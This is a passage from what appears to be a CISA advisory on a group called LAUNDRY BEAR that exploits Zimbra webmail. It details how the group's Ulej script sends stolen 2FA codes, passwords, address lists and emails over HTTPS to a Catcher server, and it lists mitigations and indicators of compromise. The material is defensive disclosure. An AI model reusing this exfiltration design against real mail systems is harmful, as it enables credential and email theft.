<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
